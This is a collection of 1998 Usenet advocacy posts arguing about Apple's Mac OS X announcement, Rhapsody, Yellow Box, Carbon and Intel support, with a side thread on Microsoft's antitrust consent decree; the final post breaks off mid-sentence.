References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com>
In article <3559E64B.A3A9AF2@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Or perhaps, this was an attempt at the Worldwide Developers Conference not
> > to piss off Macintosh developers by pushing too heavily something that
> > would entirely obselete their software and force them to entirely rewrite
> > if they wanted to gain PMT/PM/VM and such.
>
> OK, how many "Mac OS developers" do you think will hang around until Q3
> '99 to get the stuff Jobs/Apple/Amelio promised would be available in
> the *general* Mac OS (which was code-named Rhapsody) in Q2 '98?
What the fuck are you talking about Jonathan? They're getting more than
was ever promised, in Rhapsody or even in Copland!
Rhapsody 1.0 is still shipping in September! Rhapsody was _not_ promised
to be the "general" MacOSin this century. It was only to have the Blue
Box, which it already has. Regular MacOS was still to be updated for quite
some time afterwards. Both Gil and Steve said this several times. The
problem is lots of people didn't believe them, and thought "riiiight, what
you really mean is we'll all be using Rhapsody in January 1998" which is
neither what Apple said nor what they meant.
> Jobs has made it crystal clear that's not going to happen. The current
> Mac OS, without "PMT/PM/VM and such" is the "Crown Jewel" of Apple, not
> Rhapsody, according to Apple's Eternally Interim CEO, Jobs.
First, even Gil Amelio made it crystal clear that Rhapsody wouldn't be for
everyone right away, and that MacOS would continue to progress and be
Apple's mass-market OS through the end of the century. Second, since MacOS
X _is_ Rhapsody, it's not some either-or proposition - there's no giving
up of Rhapsody to get a better MacOS. Instead, we get a better MacOS
exactly because it _is_ nothing more than a Mac-ified version of Rhapsody
- exactly what Mac users have been hoping for all along. And now that
MacOS=Rhapsody in OS 10, MacOS as the "crown jewel" _will_ have PMT etc. I
think that's what Steve Jobs was talking about.
> Here's a tough question, then. If that's the simple case, why didn't
> Jobs just announce Rhapsody and do the *Rhapsody road map* instead? Why
> bring "Mac Os 10", to be released in almost TWO YEARS into the picture
> at all?
Duh. Because this was at the _Developers' Conference_. And 99% of the
"developers" are _Macintosh_ developers each with a stable of Macintosh
appalications they're loath to have to completely rewrite for some future
operating system. They make _Mac_ apps, so wouldn't they want to hear
about _MacOS_? (Same for Apple's customers, by the way. We may want a
better version of MacOS, but I don't think most Mac users want a
_different_ OS, even Rhapsody, if it's not essentially Mac-like.)
(Oh, and I don't usually refer to 1-1/3 as "almost 2.")
> I guess it would make sense if you interpreted the thing to mean:
> "Rhapsody as a mainstream Apple OS is going to be a bit late--by about
> TWO YEARS. So we've decided a name change is necessary."
Rhapsody as a mainstream Apple OS is _not_ going to be late! Where or when
did Apple _ever_ say it would be a mainstream OS before the turn of the
century?!?
> Who's going to be hanging around by then?
You, I bet. "Hanging around" seems to be your purpose in life.
> Now you're on a roll....:) You don't think "here it is--in Q3 1999!" has
> the slightest chance of "alienating Mac developers" some of whom have
> been working their tails off trying to get set up for Rhapsody in Q3
> 1998?
Have they? I think you're wrong. That's exactly the problem - Most Mac
developers _haven't_ put any great effort into Yellow apps - and told that
to Apple in no uncertain terms.
> Since Rhapsody won't be replacing the Mac OS anytime soon (whether
> you call it Mac OS 10 or whatever), you think this is reason for Mac
> developers to stand and cheer?
Yes! (Despite your usual distortion of the facts.) They are getting
something they could have only dreamed of before - full PMT and memory
protection with only minimal changes to their existing apps! This is a
"MacOS" better than Copland was ever intended to be, and with far better
Mac/Rhapsody integration than was ever hinted at before (ie previously,
Rhapsody wasn't supposed to have any better MacOS compatibility than the
VirtualPC-like Blue Box).
> You are certainly the only one who seems certain on this issue, "a
> reader" notwithstanding. Aside from that, how many Mac users after
> Copland and Rhapsody are prepared to *wait* yet again? I think Apple's
> used up it's good will.
No, he's not the only one. Just because it suits your purposes to act
confused doesn't mean that eveyrone else is. And what do you think we're
waiting for? Apple is delivering everything they promised, roughly on
time, on both the Rhapsody and MacOS sides. And on top of that, they're
planning OS 10, which is better than anyone could have hoped for.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X, Carbon, Rhapsody, YellowBox (was Re: Apple developer program)
Date: Wed, 13 May 1998 07:38:45 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35599455.5D806FD9@milestonerdl.com>
References: <6il7fp$smu$1@news.digifix.com> <355876CC.F3A3A297@Eng.Sun.COM> <6jc2nm$a49$1@bartlet.df.lth.se> <35598652.56A9D2D9@milestonerdl.com> <6jc6kd$hvt$1@bartlet.df.lth.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Christian Brunschen wrote:
> [ Displaimer: All of the below is _my personal interpretation_ of the
> facts, events, and such. Nothing down there is 'the gospel truth', but _I_
> _beleive_ things to be as I desribe them below. Thank you. ]
>
SNIP
Fair analysis. But thus far NO one is mentioning cross-platform YellowBox for
anything except MacOS/NT4/Win95
If the game Apple is playing is a 'bait and switch':
Develop for YellowBox it's cross-platform, See it works on NT4/95!
Then when NT5/98 happen
Oh, Apple has opted not to develop for NT5/98. So, your only YellowBox option
is MacOS
I'm trying to figure out if this is the end-game or not. With no NT5/Win98
announcements, where is the long-term cross-platform advantage of YellowBox?
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:13:17 -0700
Message-ID: <see-below-1305982113170001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu>
In article <355A3418.4A8D@stetson.edu>, mbranton@stetson.edu wrote:
> Andy Bates wrote:
> >
> > Mac OS X is Rhapsody plus the Carbon APIs. Since there are no Mac apps for
> > Intel, Carbon is unnecessary for Intel. So Rhapsody for Intel + no Carbon =
> > Rhapsody for Intel, just like it always did.
>
>
> not quite. it seems clear that running on intel in now not so important
> to apple. it started w/ cutting the clones, and it'll finish w/ rhapsody
> on intel being an afterthought. apple wants to sell you their hardware.
> anything that is perceived as a threat to that will go, or will be
> released in a way that makes it non-competetive w/ the ppc version. if
> you're happy with having to go ppc, then there's no problem. if you were
> looking for something that didn't coerce you into using ppc, then
> there's a problem.
I still don't see what the problem is. The only difference is Apple is no
longer trying to force a Mac application migration to Yellow Box that
wasn't happening anyway. I think you will see Yellow apps. The chance that
they will come later than they would otherwise have is balanced against
the chance of Rhapsody failing altogether due to developer resistance,
forcing Apple to scrap it entirely.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: This is more like it....information
Date: Wed, 13 May 1998 07:51:10 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559973E.12D2EC2C@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
This http://www.macintouch.com/m10jorg.html is more like it.
Still doesn't answer the cross-platform YellowBox, nor the Intel
Rhapsody questions, but one step at a time.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 13 May 1998 15:56:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jcfs2$dm2$1@nnrp1.dejanews.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net> <355876CC.F3A3A297@Eng.Sun.COM> <6jc2nm$a49$1@bartlet.df.lth.se>
b@bartlet.df.lth.se (Christian Brunschen) wrote:
> >Rhapsody will NEVER go mainstream, it is cancelled. Just like I said
> >months ago it would be!
>
> You didn't see the keynote then, when Steve announced that Rhapsody
> Customer Release 1 would be released in Q3 1998 - ie, within less than 5
> months ?
He also hasn't read http://www.macnn.com/reality/archives/051198/news.shtml
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:14:24 -0700
Message-ID: <see-below-1305982114240001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu> <6jdf04$5f5$1@crib.bevc.blacksburg.va.us> <355A36A9.770CD512@milestonerdl.com>
In article <355A36A9.770CD512@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
>
> > I don't think Apple regards Rhapsody/Intel as nearly as important as
> > Rhapsody/PPC, but it appears that they think enough of it to keep it
> > around, based on their actions.
>
> Keep it around is not the same as working to support it.
I don't understand this. Since it only exists in DR1 form so far, "keeping
it around" clearly requires that they actively develop it.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:08:05 -0700
Message-ID: <see-below-1305982008050001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> This announcement was not directed at people hoping for Rhapsody be they
> wishing for Rhapsody on Intel or PPC or YB on Windows or whatever. It was
> aimed directly at Mac OS developers who have a large investment in the Mac
> OS. It was a measure to keep them from panicking and leaving the platform.
> There is a good and very deliberate reason that there was little specific
> mention of Rhapsody and its associated technologies.
Yeah, funny thing how everyone forgets this fact, when the announcement
took place at Apple's own Developers' Conference...
> Mac OS X is Rhapsody renamed. What we think of as the full Rhapsody will
> continue on even after Mac OS X as a higher end workstation/server OS. Mac
> OS X will just be the mainstream Mac OS equivalent (as far as the target
> audience). Mac OS X may not include the Unix layer. That's fine. The market
> this is intended for doesn't need it (nor do they really want it).
Yes, this has also been overlooked.
> The future of Rhapsody/Intel may not be all that secure, but I'm not sure
> it ever was. The future of Yellow Box on Windows is secure. In all
> likelyhood, both Rhapsody/Intel and YB for Windows will continue on well
> after the release of Mac OS X. They will not be affected by this release.
I agree. Rhapsody (the server version) will probably still be released for
Intel.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: zed@delta1.deltanet.com (Nick Tokaruk)
Newsgroups: comp.sys.next.advocacy
Subject: Re: One Big Q for MacOS X: Multiuser?
Date: 14 May 1998 04:05:43 GMT
Organization: Delta Internet Services, Inc.
Message-ID: <6jdqin$g2j$1@news01.deltanet.com>
References: <slrn6lhpsf.isf.mbkennel@lyapunov.ucsd.edu>
Matts wants UIDs, you got UIDs...
The following is from <HFSVolumes.a> in Universal headers 3.1
; Permissions info (HFS Plus only) - 16 bytes
HFSPlusPermissions RECORD 0
ownerID ds.l 1 ; offset: $0 (0)
; user or group ID of file/folder owner
groupID ds.l 1 ; offset: $4 (4)
; additional user of group ID
permissions ds.l 1 ; offset: $8 (8)
; permissions (bytes: unused, owner, group, everyone)
specialDevice ds.l 1 ; offset: $C (12)
; UNIX: device for character or block special file
sizeof EQU * ; size: $10 (16)
ENDR
In article <slrn6lhpsf.isf.mbkennel@lyapunov.ucsd.edu>,
Matt Kennel <replace this with '@'> wrote:
>
>As the title says, there is one big question regarding MacOS X:
>
>Is the idea of 'multiple users' understood natively?
>
>Under OpenStep, it's the BSD layer which groks the concept of UID's, which
>is pretty neccessary for password logins and network mounts et cetera.
>UIDs have to carry along as part of the process structure.
>
>Is that still there in Carbon?
>
>There really do need to be APIs which comprehend UID's, as well as a
>filesystem which does the same too.
>
>--
>* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
>* "People who send spam to Emperor Cartagia... vanish! _They say_ that
>* there's a room where he has their heads, lined up in a row on a desk...
>* _They say_ that late at night, he goes there, and talks to them... _they
>*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:18:34 -0700
Message-ID: <see-below-1305982118340001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <6jda1o$lf$1@xmission.xmission.com>
In article <6jda1o$lf$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> Andy Bates <andyba@corp.webtv.net> wrote:
> : >
> : > Except that on Sunday, developing for Apple on Intel had a future. Today
> : > it does not.
>
> : Why not? Rhapsody for Intel is still coming out as well. Recompiled
>
> : So Rhapsody for Intel + no Carbon = Rhapsody for Intel, just like it
> : always did.
>
> I question your facts.
>
> Apple has stated that Rhapsody will be folded into Mac OS X after the CR1
> release, and that Mac OS X will be PowerPC only. This means "no Mac OS X
> on Intel" after the Rhapsody CR1 release.
I think you are interpreting this wrongly. What Apple means is that even
after OS 10 ships, there will still be a seperate "server" version of
Rhapsody on PPC, but that in time that version will go away, and be part
of OS 10.
Since Rhapsody for Intel already lacked the Blue Box, I don't see how
different it would be for it to lack both the Blue Box and Carbon. Based
on the schematic of OS 10 I've seen, it looks like this would be no
different than the previous plan.
> It looks like the Yellow Box on Windows will live, but word about an Apple
> OS on Intel has been conspiciously absent during this event.
That is true. But I think it will still be there. But for the time being,
it will only be targeted at current OpenStep users, servers, and certain
custom workstation installations (ie, publishing systems). In other words,
it won't receive the kind of advertising that Apple's consumer-oriented
offerings (including OS 10) are going to get.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:38:30 -0700
Message-ID: <see-below-1305982038310001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com>
In article <3559F5A0.E8E7FB3D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> mmalcolm crawford wrote:
>
> > >
> > Oddly there are two answers to this:
> >
> > a) The main BS vendor round here seems to be one Jonathan Harker,
poster sans
> > clue extraordinare.
>
> Evenly, that's an odd supposition....
I think we should take a vote on it...
;-)
(Hint to Jonathan: You would lose.)
> > alternatively
> >
> > b) Yes, you're absolutely right. Jobs (with his team) has found a way to
> > pull the wool over people's eyes so Apple can serve up Rhapsody so
that it is
> > palatable to the traditional Mac users and developers so they feel
like first
> > class citizens again, rather than facing life in a "compatibility
> > environment".
> >
>
> ...Yes, 18 months late.
How can it be "late" when this is the first time Apple ever gave any
indication such a thing might ever exist?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 23:46:15 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1305982346160001@192.168.0.3>
References: <ericb-1105981718430001@132.236.171.104> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3> <6jdenm$5e7$1@crib.bevc.blacksburg.va.us>
In article <6jdenm$5e7$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
:In article <rex-1305982038160001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
:
:> [...] the theory keeping the Yellow Box alive is that at
:> some point those developers will just 'want' to totally rewrite their
:> apps.
:
:You're proceeding on the assumption that no one ever writes a new
:application.
No I'm not. I'm going by the fact that Microsoft, Macromedia, Adobe,
and Metacreations have all announced initiatives to provide common user
interfaces across their respective product lines. If these companies
create new products, chances are those products are going be using the
companies' respective internal frameworks and libraries. Of course, these
companies could port their propietary code to other APIs such as the
Yellow Box, but these companies will probably only target the APIs with
the largest marketshare. That's going to be Win32 and Carbon for years to
come. If these companies ask Apple to improve the Carbon APIs, then
chances are Apple will do it.
-Eric
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Wed, 13 May 1998 09:07:07 -0500
Organization: Prairie Group
Message-ID: <MPG.fc364f027ee52019896bc@news.supernews.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk> <35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
In article <6jbtan$1cc$17@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
says...
> Umm, how do you reach this conclusion?
> MacOS has not won. Rhapsody and MacOS have both won.
> But in a more long-winded and resource-draining way than might have been the
> case had Mac users and developers rallied round YellowBox and the original
> Rhapsody plan in the furst place.
>
Depends on whose resources you're talking about draining.
As a small developer, I would have been strained to breaking point to
convert my apps that run just great under Mac OS, to OpenStep. It would
have involved betting the company that Apple would deliver and Rhapsody
would be successful. And, from what I heard, Rhapsody classic was not
going to be successful. There would not be enough end-user (my market)
Rhapsody customers to pay back the very large conversion costs. The
necessary hardware kept going up, it looked like the UI would be greatly
changed so all of our customers who like the current UI would have to
learn something new to change.
At best, I could wrap my new program in a box (blue box, if I remember
correctly, I never could remember colors) and run it on MacOS and get
what I had to start with, except it would be much larger and (I suspect)
require more recent computers than we used to need.
So, nope, we did not rally around YellowBox and the original Rhapsody.
Because, in our company, it would have ruined our company. And that
would be bad. IMHO, at least.
This new direction will take more resources from Apple and will take
longer, true. But, it changes the cost from betting the company to
giving up a vacation. And, if this is followed through on, this is going
to be successful. It's aimed at the end user, it won't change everything
from how our customers expect things to work. I'm mildly worried about
what the hardware requirements are.
And, the changes necessary for MacOS X are small enough that we can
conditionally compile MacOSX and MacOS 7/8. This means when we fix a bug
in one, we fix the bug in the other. As we add a feature in one, it's
added in the other. This will be good.
For developers with a significant amount of existing MacOS code, large
and small, this is a major win. There was not as much rallying around
YellowBox and the original Rhapsody because the costs would be
frightening high, but this is GREAT. It's a plan that will work for the
existing developers, and for this developer at least, the prior plan
didn't. That's why I didn't rally around it, and why I'm rally around
this.
I hope that MacOS X will also run openstep programs and the OpenStep
development environment will continue. From what I've read and heard, I
don't know, but it would be good if it does. But, from this seat out
hear in the cheap seats, the key is that all of the development in MacOS
development is not wasted. And that's a good thing.
Donald
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 08:17:53 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35599D81.7E0F3371@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk>
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Ralph Elliott wrote:
> (It was striking how Jobs went out of his way on more than one occasion on Monday
> morning to allude to the "ten months since I took over at Apple", thereby, it
> seems, implicitly dissociating himself from anything Apple said at the WWDC a year
> ago -- notwithstanding the fact that he himself made an appearance on Apple's
> behalf at that event.)
Shhhhh. Don;t say that so loud....someone might notice.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 13 May 1998 16:24:14 GMT
Organization: P & L Systems
Message-ID: <6jchfe$1cc$20@ironhorse.plsys.co.uk>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com>
<rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com>
<rmcassid-1105982343080001@dialin33418.slip.uci.edu> <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de>
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Cc: neuss.@informatik.th-darmstadt.de.nos-pam
In <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
> >Right now my biggest concern is that it seems that YellowBox may not run
> >on MacOS 8 after all. That would seriously suck for me.
>
> Or MacOS 9. A serious concern for everybody, including Y.T., who
> works on YB apps. Another year for a YB enabled MacOS?
>
> If I stuck myself with in the head with a pencil, would it hurt?
>
Actually I think it was:
"If I stick myself with in the head with this pencil, will it hurt?"
Yes, it will.
:-)
Best wishes,
mmalc.
(long time NeXT users will understand this...)
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 13 May 1998 16:31:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jchte$gsf$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <slrn6lilhb.kq9.mbkennel@lyapunov.ucsd.edu>
In article <slrn6lilhb.kq9.mbkennel@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
>
> On Wed, 13 May 1998 04:28:57 GMT, dpetticord@hotmail.com wrote:
> :
> :What was meant in 1994? I believe Microsoft wins on this point. The DOJ
<snip>
> Microsoft is attempting to pervert the prohibition against the first, by
> claiming that by being explicitly allowed to do the second, it is really
> being allowed to pursue the third, which then trumps the prohibition against
> illegal bundling.
>
But there is the rub. The Consent Agreement did NOT prevent bundling.
The negotiating history does not point to any anti-bundling desires
on the part of the DOJ. Microsoft did NOT agree to an anti-bundling clause.
The only thing Microsoft agreed to dealt with separate products with
separate licenses.
It is the DOJ's 1998 interpretation that is trying to add a bundling
prohibition where non existed in 1994.
Contract Law does not allow that to happen.
> Thus, pursuing the argument that 'integrated' and 'sold separately' can
happen
> at the same time (indeed correct) favors the prosecution.
>
You lost me on this logic. The DOJ has been trying to "prove" the Internet
Explorer is a separate product as proof it is not an "Integrated Product".
It was, and continues to be, the wrong legal position. It appears to me
the DOJ is more interested in the political than the legal.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <6jbqm9$1cc$11@ironhorse.plsys.co.uk> <355976BF.37CD4D61@milestonerdl.com> <see-below-1305981924040001@209.24.241.190>
Message-ID: <355a6778.0@news.depaul.edu>
Date: 14 May 98 03:39:36 GMT
In comp.sys.next.advocacy Matthew Vaughan <see-below@not-my-address.com> wrote:
> From what I hear, Yellow Box is being actively upgraded, with _many_ more
> things on the agenda. In addition, Apple will appearantly push YB for
> Windows vigorously. This doesn't sound at all like something that's going
> to be cancelled. Newton, on the other hand, was on shaky legs for years.
Newton was on stumps. The 2k's gave it a nice prosthesis, but it came
at too high a price.
(Speaking as the owner of a dusty 120.)
--
"... and subpoenas for all." - Ken Starr
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 13 May 1998 16:30:08 GMT
Organization: P & L Systems
Message-ID: <6jchqg$1cc$21@ironhorse.plsys.co.uk>
References: <6jboq5$eua$9@news.idiom.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6jboq5$eua$9@news.idiom.com> John C. Randolph wrote:
> Well, Adobe didn't play ball. That's pretty irritating, to say the least.
>
> Suggested workaround: A bundle of the NeXT apps, like Mail.app and
TextEdit,
> and all the stuff from /Nextdeveloper/demos, for $25.
>
Or maybe a bundle of other commercial YB apps...
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 16:22:15 GMT
Organization: P & L Systems
Message-ID: <6jchbn$1cc$19@ironhorse.plsys.co.uk>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
<35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
<MPG.fc364f027ee52019896bc@news.supernews.com>
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Cc: don.brown@cesoft.com
In <MPG.fc364f027ee52019896bc@news.supernews.com> Donald Brown wrote:
> In article <6jbtan$1cc$17@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
> says...
> > Umm, how do you reach this conclusion?
> > MacOS has not won. Rhapsody and MacOS have both won.
> > But in a more long-winded and resource-draining way than might have been
the
> > case had Mac users and developers rallied round YellowBox and the
original
> > Rhapsody plan in the furst place.
> >
> Depends on whose resources you're talking about draining.
>
> As a small developer, I would have been strained to breaking point to
> convert my apps that run just great under Mac OS, to OpenStep.
>
Fair comment. I'm sorry if my post offended -- I was looking purely from the
technical perspective, I fully agree that there are other considerations too,
which is why I say that Rhapsody and MacOS have both won.
> I hope that MacOS X will also run openstep programs and the OpenStep
> development environment will continue. From what I've read and heard, I
> don't know, but it would be good if it does.
>
OpenStep (AKA YellowBox, AKA "advanced software development environment")
certainly does live on -- it's the API of the future for MacOS. With Carbon
you will, apparently, be able to make calls to the YellowBox frameworks, so
you can move your applications over to YB at your own pace.
Best wishes,
mmalc.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 13 May 1998 10:37:02 -0400
Organization: Jayfar's Original Virtual Macintosh
Distribution: world
Message-ID: <jayfar-1305981037020001@downtown1-2.slip.netaxs.com>
References: <6j9vr4$flq@nntp02.primenet.com> <6jaec4$r8i@nntp02.primenet.com> <slrn6lhhvf.mi.jason@jhste1.dyn.ml.org> <see-below-1205981915240001@209.24.240.213> <6jba3b$t45$1@camel21.mindspring.com>
Mail-Copies-To: jayfar@netaxs.com
In article <6jba3b$t45$1@camel21.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
| In article <jayfar-1205981546160001@downtown1-14.slip.netaxs.com> Jayfar,
| jayfar@netaxs.com writes:
| >BTW, that brings up an interesting, but irrelevant point of law. Were
| >Apple incorporated in the state of Pennsylvania, his fiduciary
| >responsibility would be not only to stockholders, but to other
| >stakeholders, including employees, customers, and the community at-large.
| >This came up locally in discussions of a recent mega-bank merger here.
|
|
| I think they tried that in the Soviet Union as well. Didn't work too
| well there either.
I expect they'll give it a shot in California eventually, given that
state's propensity for passing radical public referendums [their
constitution provides a mechanism for the general public to vote directly
